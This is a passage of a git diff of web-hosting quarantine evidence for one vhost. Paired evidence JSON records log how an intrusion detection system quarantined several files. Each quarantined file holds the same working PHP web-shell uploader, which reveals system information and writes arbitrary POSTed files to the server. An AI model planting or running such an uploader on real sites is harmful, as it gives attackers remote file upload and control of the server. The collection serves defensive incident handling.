';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/wwzau.phtml.json.evidence.json b/var/www/hosting/archline.hu/www/wwzau.phtml.json.evidence.json new file mode 100644 index 0000000..a4c773d --- /dev/null +++ b/var/www/hosting/archline.hu/www/wwzau.phtml.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2855", + "log_excerpt": "[quarantine] www.archline.hu:wwzau.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/wwzau.phtml.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783790439, + "size": 448, + "uid": 20043 + }, + "rel_path": "wwzau.phtml.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/wywkj.php.json b/var/www/hosting/archline.hu/www/wywkj.php.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/wywkj.php.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/wywkj.php.json.evidence.json b/var/www/hosting/archline.hu/www/wywkj.php.json.evidence.json new file mode 100644 index 0000000..808e2d7 --- /dev/null +++ b/var/www/hosting/archline.hu/www/wywkj.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2844", + "log_excerpt": "[quarantine] www.archline.hu:wywkj.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/wywkj.php.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783813975, + "size": 448, + "uid": 20043 + }, + "rel_path": "wywkj.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/xaurk.phtml.json b/var/www/hosting/archline.hu/www/xaurk.phtml.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/xaurk.phtml.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/xaurk.phtml.json.evidence.json b/var/www/hosting/archline.hu/www/xaurk.phtml.json.evidence.json new file mode 100644 index 0000000..aec50a6 --- /dev/null +++ b/var/www/hosting/archline.hu/www/xaurk.phtml.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2843", + "log_excerpt": "[quarantine] www.archline.hu:xaurk.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/xaurk.phtml.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783813981, + "size": 448, + "uid": 20043 + }, + "rel_path": "xaurk.phtml.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/xgvbn.php7.json b/var/www/hosting/archline.hu/www/xgvbn.php7.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/xgvbn.php7.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/xgvbn.php7.json.evidence.json b/var/www/hosting/archline.hu/www/xgvbn.php7.json.evidence.json new file mode 100644 index 0000000..4d4c97f --- /dev/null +++ b/var/www/hosting/archline.hu/www/xgvbn.php7.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2924", + "log_excerpt": "[quarantine] www.archline.hu:xgvbn.php7.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/xgvbn.php7.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783790441, + "size": 448, + "uid": 20043 + }, + "rel_path": "xgvbn.php7.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/yfajh.phar.json b/var/www/hosting/archline.hu/www/yfajh.phar.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/yfajh.phar.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/yfajh.phar.json.evidence.json b/var/www/hosting/archline.hu/www/yfajh.phar.json.evidence.json new file mode 100644 index 0000000..7e10593 --- /dev/null +++ b/var/www/hosting/archline.hu/www/yfajh.phar.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2834", + "log_excerpt": "[quarantine] www.archline.hu:yfajh.phar.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/yfajh.phar.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783792273, + "size": 448, + "uid": 20043 + }, + "rel_path": "yfajh.phar.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/yirrh.phtml.json b/var/www/hosting/archline.hu/www/yirrh.phtml.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/yirrh.phtml.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/yirrh.phtml.json.evidence.json b/var/www/hosting/archline.hu/www/yirrh.phtml.json.evidence.json new file mode 100644 index 0000000..5198115 --- /dev/null +++ b/var/www/hosting/archline.hu/www/yirrh.phtml.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2869", + "log_excerpt": "[quarantine] www.archline.hu:yirrh.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/yirrh.phtml.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783811775, + "size": 448, + "uid": 20043 + }, + "rel_path": "yirrh.phtml.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/yuacx.php.json b/var/www/hosting/archline.hu/www/yuacx.php.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/yuacx.php.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/yuacx.php.json.evidence.json b/var/www/hosting/archline.hu/www/yuacx.php.json.evidence.json new file mode 100644 index 0000000..5e192a2 --- /dev/null +++ b/var/www/hosting/archline.hu/www/yuacx.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2930", + "log_excerpt": "[quarantine] www.archline.hu:yuacx.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/yuacx.php.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783790446, + "size": 448, + "uid": 20043 + }, + "rel_path": "yuacx.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +}